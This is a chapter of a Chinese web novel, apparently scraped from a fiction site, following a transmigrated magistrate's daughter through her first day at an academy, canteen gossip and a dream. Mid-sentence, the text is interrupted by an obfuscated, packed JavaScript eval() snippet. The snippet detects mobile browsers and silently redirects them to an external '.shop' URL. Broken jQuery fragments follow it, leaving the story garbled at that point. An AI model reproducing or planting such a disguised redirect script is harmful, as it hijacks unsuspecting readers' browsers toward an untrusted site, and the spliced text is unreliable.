文趣网 > 其他小说 > 穿越古代县令千金咸鱼 > 12. 首日入学
    第二天一早,温嘉言早早醒来做准备,今天是另一套鹅黄衣装,腰间系一缕红色丝绦,格外点睛,裙摆绣着各色蝴蝶,栩栩如生。

    不错,精神极了,温嘉言心里给自己点赞。

    站在棠院那棵海棠树下,等汇合同院的袁思宁,两人一起去上课。

    早早坐进学堂,拿出昨天两人走后,红绸代领的课本翻看起来,真是个贴心的好丫头。

    学堂内三三两两的进人,温嘉言偶尔瞄一眼,有一些人昨天没见过呢。

    不一会儿进来一个女仆簇拥的十三四岁的少女,只见她头戴珠翠,头顶雀鸟振翅欲飞,羽尖缀东珠,随步一点一轻摇,身着绫罗,富贵逼人。

    “行了,你们出去吧。”少女不耐地挥挥手,屏退女仆。

    “琼音,你来啦。”袁思宁挥手热情打招呼。

    “嗯。”少女高冷的回一声走过来,眯眼打量起她身边的人。

    只见女孩身姿窈窕,一身镂纱鹅黄外衣,鹄白内衬,领口对襟皆缀细珠,外罩点缀几点金边云纹,腰系一缕红丝绦,脚踩云头履,生动极了。

    再看那张芙蓉面,梨涡浅笑,眼眸黑亮带着几分好奇看向她。

    好一个灵气少女!

    “你是?”唐琼音绣字轻吐。

    “琼音,她是新入学堂的,也是我新交的朋友,温嘉言。嘉言,这是安柔公主。”袁思宁当即介绍。

    “见过公主。”温嘉言作势行礼。

    “免。”唐琼音一把拉住她:“学堂不论这个,你叫我琼音即可。”

    随即松手,朝她们摆摆手,走到了相对后面的位置落座。

    倒是个很有个性的公主呢。

    一会儿人就到齐了,只听到一声云板——铛啷响起,夫子缓缓走进学堂,入学的标准官话说完,今天的第一堂课就开始了,这一堂是算学课。

    温嘉言整堂课凝神细听,偶尔专注的记下笔记,毛笔字也是练出来了,能够写一手漂亮小楷。

    嗡~~~,钟声传来,到中午了,夫子慢吞吞拿起戒尺敲击桌案后,缓步走出学堂。

    早有学子做好准备,待夫子已走,旋即跟着争先恐后地蹿出门。

    温嘉言左臂一热,袁思宁拉着她站起来跟着跑。

    一阵风似的,跑到了昨天去过的知味斋,袁思宁松开了她的手臂。两人气喘吁吁,温嘉言疑惑:“为什么要跑这么快?”

    袁思宁一边喘着气,一边又拉着她的手走进堂内,“你刚来不晓得,知味斋的座位有限,要想在学堂吃好,就要早点来。”

    温嘉言昨日也去过另一个食堂,叫什么?好像是叫聚膳堂来着。

    想着不由问出口:“学院不是还有一个更大的聚膳堂吗,我看桌椅挺多啊。”

    袁思宁睨了她一眼,嗔道:“那里哪里能去?难吃死了。”

    好吧,是我不配了。

    那馒头其实还挺香,菜也就那样,学堂的一贯标准,也说不上不能吃。

    不过,这知味斋好吃是好吃,自己准备的伙食费好像不太够啊,也不知道能撑多久。

    要动小金库的话,嗯,还是有点肉疼,嘶——还是要想办法赚钱啊~

    温嘉言叹一口气。

    温嘉言在乐阳县有一个铺子,爹爹娘娘在她10岁生辰那年给的,看她太能折腾了,给她找点事干。

    她做了书铺,日常偶尔去逛逛看看新书,各种各样的,科考的、孩童的、还有话本子......总之,每月能赚那么一点小钱钱。

    文字这种东西,到底不敢做什么大改动。

    不过书铺是温嘉言自己的,比起挣钱,她更多是找乐子,招了不少写话本子的人兼职写新书,因为实在太无聊了!

    这个时代!手机没有!互联网没有!刚开始能到处跑动那一段她可有个不小的戒断期。

    穿越一场,别的没带来,网瘾带来了,那时身体还小,脑子也不成熟心里却瘾大,压制不住情绪。

    白天哭,夜里哭,整天整夜的哭。在床上打滚哭,看着叶子落下哭,有时就连喝口水都会哭。天呐,她都不知道自己这么爱哭。

    阿娘来问怎么回事。却一个字也说不出,只说是想看书。

    好了。温嘉言这么勤快,赵叶真自然也不客气,给她收集来各种书,但是——都是文言古字。

    温嘉言更哭了......

    幸好还有唐重玉陪着,还有哥哥温嘉煦那个同样的惹祸精,读读艰涩难懂的古书,收拾收拾哥哥的烂摊子,日子倒也过的去。

    后来渐渐的熟悉了古代的慢日子,也开始了日出而坐,日落而息的作息生活。

    身体也渐渐形成新的习惯。这才慢慢缓和情绪,心里平静下来。

    想到这里,温嘉言突然特别想念家人了,古代的,现代的,那些陪伴在一起的日子都是那么的短暂,人长大后就要离开家了。

    都有各自的路要走。想想真是悲伤。

    有些东西离开了才会想念,失去了才会眷恋。

    一阵嘈杂声打断了温嘉言的思绪,她的注意力重新回到眼前。

    “又是魏亭云,梧桐道那条路不走,偏要走这儿。”袁思宁抱怨。

    这话不实,梧桐道那一条路是很宽广,但也是鸟类天堂。慕名去观赏的人很可能经历一场难忘的“天使”。

    温嘉言莞尔:“他不来这里吃饭?”

    “那当然,他们自己带有厨娘,喜欢吃什么,自然有人准备。”

    “那为何,还住学院?回家或者家里送来岂不更方便。”

    袁思宁嘟嘟嘴:“他们院子只住两人,中间随便扎个篱笆就是一人一院了,回家嘛太麻烦,亭云和家里关系不太好,再说家里送来哪有现做好吃。”

    温嘉言闻言点点头,又问道:“男学子那边两人一院?”

    “不是,其他人和咱们一样,咱们是兰、菊、棠、梅、桃。他们男学子那边是松一二三、鹤一二三等很多的。”

    “除了学院夫子一人一院,就只有特殊人员才有一人一院或者两人一院的待遇。”

    “嗯~”袁思宁想了一会儿,“我还是先给你说下特殊的人吧,省得你不小心碰到,没个准备。”

    然后她神秘地低声道:“临都四杰,你听说过吧?”

    温嘉言笑着点点头:“听过。”

    “玉狐大人是锦衣卫大人,他比较神

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615209|206058||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    秘,目前没人知道他名字,他目前是单人一院。”

    “寒仙人和明韵公子分在一个院,而明韵公子有族叔在学院里当夫子,夫子都分有一个院子,他族叔不耐烦下学了还在学院待,几乎长期在家住。”

    嗯......社畜真不想下班了还接触和工作有关的东西。能隔多远离多远。如果是下班了还有人来找,加倍痛苦。温嘉言表示理解。

    “明韵公子就搬去他族叔分的那个院子住了,实际上寒仙人和明韵公子都是一人一院住着。”袁思宁羡慕。

    “亭云他......和北堂登云一个院子,北堂登云是东照国来的,具体什么身份我也了解不多,你说不定都遇不到他,他本人还挺懒散的,不爱出门。”

    哦~温嘉言又得到一个新信息,东照国。

    这片大陆目前她了解到的能叫出名字的有两个,一个云凤是女皇,一个东照,听名字猜测是男人皇帝。

    除此外还有一些叫不出名字的小国家,倒是也能和谐共存。

    用罢午膳,两人一并回棠院开始午睡。时间还算充裕,可以睡到下午两点。回来洗漱片刻,进入梦乡。

    好梦正酣。一帘轻纱随风舞动,明知惊艳绝色就在帘后,温嘉言一步一步小心翼翼靠近,只恐惊了佳人。

    缓缓伸出手撩起帘帐,马上就能见到美人真面目了,温嘉言喜极。

    “小娘子!”

    温嘉言一惊,从床上坐起,原来是一场梦。

    温嘉言“啊”的一声又躺倒下去,不住地在床上打了两个滚。

    “就差一点!就差一点啊!啊啊啊!!”

    温嘉言握拳捶床,心中生下一丝怅惘。

    红绸侍立床头,小声问:“娘子?你无碍吧?”这才明白是惊扰了主子好梦,不免心下惴惴。

    温嘉言看她担心的样子,不由收敛狂态,“无事,咳咳,什么时辰了?”

    心下却想,这个时候要是阿普在,她一定会取笑我。

    毕竟是临都长大的丫鬟,见过了各种美姿仪的小娘子,难免被惊吓。想要安慰小丫鬟。

    温嘉言一边穿衣一边找补:“我自小在县里长大,就是这性格,你以后和我熟了就知道了。”

    红绸见她没生气,也放松下来,帮忙系腰带:“小娘子性格挺好,倒像我那个妹妹,不不不!奴妹妹像你,也是这么个不受拘束的性格。”

    “以后不必总称奴,叫你自己的名字即可。我这里没有这么大的规矩,也不爱听。”温嘉言低头看着她头顶乌发道。

    “红绸知道了。”丫鬟点头。

    “你妹妹在哪里?怎么没听你提过?”温嘉言闲聊,以后会长期相处总要拉进一下感情。

    红绸眼底浮起一抹水色:“我.....也不知妹妹在哪......”

    温嘉言想起忠叔说的人牙子那里买的人,知道其中有事。

    “嘉言,要走啦!”袁思宁的声音从院子里传来。

    红绸抹下眼睛,慌忙给温嘉言拿来要带的物什送她出门。

    温嘉言接过,拍拍她手臂,“别难过,等我回来细说。”

    “来啦”温嘉言大声应了一声,奔出门去。